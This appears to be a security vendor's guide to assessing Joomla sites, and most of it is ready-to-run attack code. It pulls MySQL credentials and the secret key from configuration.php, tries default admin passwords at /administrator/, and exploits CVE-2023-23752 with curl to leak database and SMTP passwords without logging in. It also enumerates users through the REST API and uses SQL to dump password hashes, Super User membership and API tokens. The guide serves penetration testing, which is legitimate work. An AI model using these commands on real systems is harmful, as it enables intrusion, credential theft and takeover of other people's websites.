Joomla is the world's second most popular CMS with over 2 million active sites. Key assessment areas: configuration.php exposes MySQL credentials and the secret key; CVE-2023-23752 allowed unauthenticated extraction of database credentials via the REST API (Joomla 4.0.0-4.2.7); the Joomla 4+ REST API uses Bearer tokens for authentication; and the #__users table contains Super User password hashes. This guide covers systematic Joomla security assessment.
# Joomla — configuration.php MySQL credential and secret key extraction
JOOMLA_URL="https://site.example.com"
# configuration.php — Joomla main configuration
cat /var/www/joomla/configuration.php 2>/dev/null
# public $password = '...'; <-- MySQL database password
# public $secret = '...'; <-- used for session token signing and CSRF tokens
# public $dbname = 'joomla'; <-- database name
# public $user = 'joomla'; <-- database user
# public $dbhost = 'localhost';
python3 -c "
import re
content = open('/var/www/joomla/configuration.php').read()
patterns = {
'password': r\"public \\\$password\s*=\s*'([^']+)'\",
'secret': r\"public \\\$secret\s*=\s*'([^']+)'\",
'db_user': r\"public \\\$user\s*=\s*'([^']+)'\",
'db_name': r\"public \\\$dbname\s*=\s*'([^']+)'\",
'admin_email': r\"public \\\$mailfrom\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
m = re.search(pattern, content)
if m:
print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null
# Test default admin credentials at /administrator/
for CRED in "admin:admin" "admin:password" "admin:joomla" "administrator:admin"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
# Get CSRF token first
TOKEN=$(curl -s "${JOOMLA_URL}/administrator/index.php" -c /tmp/joomla_c | \
grep -oP 'name="[0-9a-f]{32,}" value="1"' | grep -oP '"[0-9a-f]{32,}"' | tr -d '"' | head -1 2>/dev/null)
STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
-X POST "${JOOMLA_URL}/administrator/index.php" \
-d "username=${USER}&passwd=${PASS}&option=com_login&task=login&return=&${TOKEN}=1" \
-c /tmp/joomla_c -b /tmp/joomla_c 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${STATUS}"
done
# Joomla CVE-2023-23752 — unauthenticated configuration disclosure
JOOMLA_URL="https://site.example.com"
# CVE-2023-23752 — Joomla 4.0.0 through 4.2.7 (February 2023)
# Improper access check in the Joomla 4 REST API allows
# unauthenticated access to webservice endpoints
# This exposes database configuration (host, username, password)
# Test for CVE-2023-23752 — extract database credentials without authentication
curl -s "${JOOMLA_URL}/api/index.php/v1/config/application?public=true" \
-H "Accept: application/json" 2>/dev/null | python3 -c "
import json,sys
try:
d=json.load(sys.stdin)
attrs = d.get('data',{}).get('attributes',{})
# Direct database credential disclosure
print(f'DB Host: {attrs.get(\"db\",\"\")}')
print(f'DB Type: {attrs.get(\"dbtype\",\"\")}')
print(f'DB Name: {attrs.get(\"dbprefix\",\"\")}')
print(f'DB User: {attrs.get(\"user\",\"\")}')
print(f'DB Pass: {attrs.get(\"password\",\"\")}')
print(f'DB Secret: {attrs.get(\"secret\",\"\")}')
print(f'Mail host: {attrs.get(\"smtphost\",\"\")}')
print(f'Mail pass: {attrs.get(\"smtppass\",\"\")}')
except: pass
" 2>/dev/null
# Alternative endpoint variant
curl -s "${JOOMLA_URL}/api/index.php/v1/config/application" \
-H "Accept: application/vnd.api+json" 2>/dev/null | head -5
# Check Joomla version for CVE targeting
curl -s "${JOOMLA_URL}/administrator/manifests/files/joomla.xml" 2>/dev/null | \
grep -oP '[^<]+ ' | head -1
# Joomla REST API — token and MySQL user hash assessment
JOOMLA_URL="https://site.example.com"
DB_PASS="extracted-db-password"
# Joomla 4+ REST API — Bearer token authentication
# Generate API token via admin panel: Users > User Manager > edit user > Joomla! API Token tab
# OR extract from database
# With extracted admin credentials — get API token
ADMIN_TOKEN=$(curl -s -X POST "${JOOMLA_URL}/api/index.php/v1/users/me/api_token" \
-H "Content-Type: application/json" \
-u "admin:password" 2>/dev/null | \
python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('data',{}).get('attributes',{}).get('token',''))" 2>/dev/null)
# Enumerate users via REST API
curl -s "${JOOMLA_URL}/api/index.php/v1/users" \
-H "Authorization: Bearer ${ADMIN_TOKEN}" 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for u in d.get('data',[])[:10]:
a = u.get('attributes',{})
print(f' {a.get(\"username\")} | {a.get(\"email\")} | group_count={a.get(\"group_count\")}')
" 2>/dev/null
# MySQL — extract password hashes from Joomla users table
mysql -u joomla -p"${DB_PASS}" joomla 2>/dev/null << 'EOF'
-- Joomla users (prefix may vary: jos_, j25_, etc.)
SELECT u.id, u.username, u.email, u.password,
u.sendEmail, u.block, u.registerDate, u.lastvisitDate
FROM jos_users u
WHERE u.block = 0
ORDER BY u.id
LIMIT 20;
-- password format: bcrypt ($2y$) in Joomla 4+
-- older versions: md5:salt or SHA-1+salt
-- Super User group assignment (group 8 = Super Users)
SELECT u.username, ug.title as group_name
FROM jos_users u
JOIN jos_user_usergroup_map ugm ON u.id = ugm.user_id
JOIN jos_usergroups ug ON ugm.group_id = ug.id
WHERE ug.title = 'Super Users';
-- API tokens stored in database
SELECT u.username, ut.token_seed
FROM jos_users u
JOIN jos_user_keys uk ON u.id = uk.user_id
WHERE uk.series LIKE 'api.%'
LIMIT 20;
EOF
| Security Test | Method | Risk |
|---|---|---|
| CVE-2023-23752 unauthenticated database credential disclosure | GET /api/index.php/v1/config/application?public=true — MySQL host/user/password and SMTP credentials in JSON response; no authentication required | Critical |
| configuration.php MySQL password and secret key extraction | Read /var/www/joomla/configuration.php — database credentials; $secret key used for session token and CSRF token HMAC signing | Critical |
| Admin credential brute-force (admin/admin) | POST /administrator/index.php — Super User session; full CMS content management, extension installation, user management | High |
| jos_users bcrypt password hash extraction | MySQL SELECT password FROM jos_users — bcrypt hashes (Joomla 4+) or MD5:salt (older); Super User credential cracking | High |
| REST API token extraction and user enumeration | GET /api/index.php/v1/users with Bearer token — all usernames, emails, registration dates, group membership | Medium |
Ironimo tests Joomla deployments for CVE-2023-23752 unauthenticated REST API configuration disclosure (database credentials, SMTP passwords), configuration.php MySQL password and secret key web exposure, admin/admin and admin/password credential brute-force at /administrator/, Joomla version disclosure via manifests/files/joomla.xml for CVE targeting, jos_users bcrypt and MD5 hash extraction, Super User group membership enumeration, REST API Bearer token assessment, API token extraction from jos_user_keys, and SMTP credential disclosure via CVE-2023-23752 smtphost and smtppass fields.
Start free scan